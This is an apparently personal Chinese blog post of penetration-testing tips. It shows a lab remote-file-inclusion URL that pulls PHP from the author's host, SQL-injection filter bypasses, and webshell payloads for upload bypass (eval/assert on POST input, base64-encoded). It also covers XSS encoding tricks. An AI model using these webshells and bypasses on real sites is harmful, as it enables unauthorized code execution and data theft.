Tips

远程文件包含

在进行文件包含时,不一定非要包含目标主机的文件,也可以包含自己电脑上的文件,举个例子:

先在本地创建一个网站,名字随便,这里起名test.com,端口81,文件包含的文件名是1.php,内容是:

1
2
3
<?php
include($_GET['file']);
?>

本地被包含的文件名为1.txt,内容是:

1
2
3
<?php
phpinfo();
?>

然后看一下自己的ip,这里是192.168.120.1

划重点,这里我的ip是vmnet1(仅主机)下的ip,如果想复现的话别搞错ip

包含的url:

1
http://192.168.120.132/1.php?file=http://192.168.120.1:81/1.txt

依然能看到服务器的phpinfo()信息。


sql一些特性

1.exp()函数

exp(x)函数是计算自然常数e的x次方的函数,exp(709)合法而exp(710)非法,因此,在进行盲注时,若if()被过滤,可转而使用exp(),如:

1
select if(ascii('d')=100,1,0);

等价于:

1
select exp(710-ascii('d')=100);

返回值都是1(true)

2.and 1=1

如果不行,and 1也是一样的

3.ord()

ord(str)函数用于查找字符串中最左侧字符,若最左侧字符为单字节字符,ord()函数返回该字符的ascii值,根据此特性,ord()函数可以用来代替ascii()函数

4. /**/

当database()被拦,可以尝试database/**/()效果一样

database(/**/)也可以正常执行,当然,上述两种方法可以组合。

1
database/*!(*/)     // /*! ... */中间的内容会在MySQL解析语句时被当作有效的SQL语法,所以这也是可以的

由此,version()也行

5.current_user

在挖src时,拿到当前用户大概率会被收


js一些特性

1.js有特殊字符转义字符,当空格被过滤,可以使用Unicode绕过,附对照表

Unicode 字符值 转义序列 含义 类别
\u0008 \b Backspace
\u0009 \t Tab 空白
\u000A \n 换行符(换行) 行结束符
\u000B \v 垂直制表符 空白
\u000C \f 换页 空白
\u000D \r 回车 行结束符
\u0020 空格 空白
\u0022 " 双引号 (“)
\u0027 ' 单引号 (‘)
\u005C \ 反斜杠 ()
\u00A0 不间断空格 空白
\u2028 行分隔符 行结束符
\u2029 段落分隔符 行结束符
\uFEFF 字节顺序标记 空白

如:

1
select\u000Bdatabase();

文件上传

1.当<?被拦,可以采用如下形式:

1
<script language="php">@eval($_POST['cmd']);</script>

2.变量传递

1
2
3
4
5
<?php
$a=$_GET['x'];
$$a=$_GET['y'];
$b($_POST['z']);
?>

传入方法:xx.php?x=b&y=assert

post:z=phpinfo();

对数据传输进行加密:

1
<?php assert(base64_decode($_POST['x']));?>

Linux

echo "admin">1.txt:将admin写入1.txt,如果1.txt不存在会自动创建并写入

​ 如果1.txt存在,admin将覆盖1.txt中的内容

echo "admin">>1.txt:同样,将admin写入1.txt,如果1.txt不存在会自动创建并写入

​ 如果1.txt存在,将在1.txt中已有内容的基础上,换行写入admin


Easter Eggs

复活节彩蛋:php.ini里的expose_php设为On时,在网站url后加上以下字符串,会获取一些信息

1
2
3
4
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 (PHP信息列表)
?=PHPE9568F34-D428-11d2-A769-00AA001ACF42 (PHP的LOGO)
?=PHPE9568F35-D428-11d2-A769-00AA001ACF42 (Zend LOGO)
?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 (PHP LOGO 蓝色大象)

jother编码

首先给出一个非官方的jother编码定义:jother是一种运用于javascript语言中利用少量字符构造精简的匿名函数方法对于字符串进行的编码方式。其中少量字符包括:”!”、”+”、”(“、”)”、”[“、”]”、”{“、”}”。只用这些字符就能完成对任意字符串的编码

可以拿来绕过xss

参考文章


Kali获取Windows shell乱码

kali执行echo $LANG查看当前用户的语言环境变量,是UTF-8

windows执行chcp,显示“活动代码页: 936”,这是GBK

所以问题是编码不同。

解决方法:在kali的shell中执行chcp 65001,将编码统一成UTF-8


Tips
http://example.com/2023/05/18/Tips/
作者
想有双手
发布于
2023年5月18日
许可协议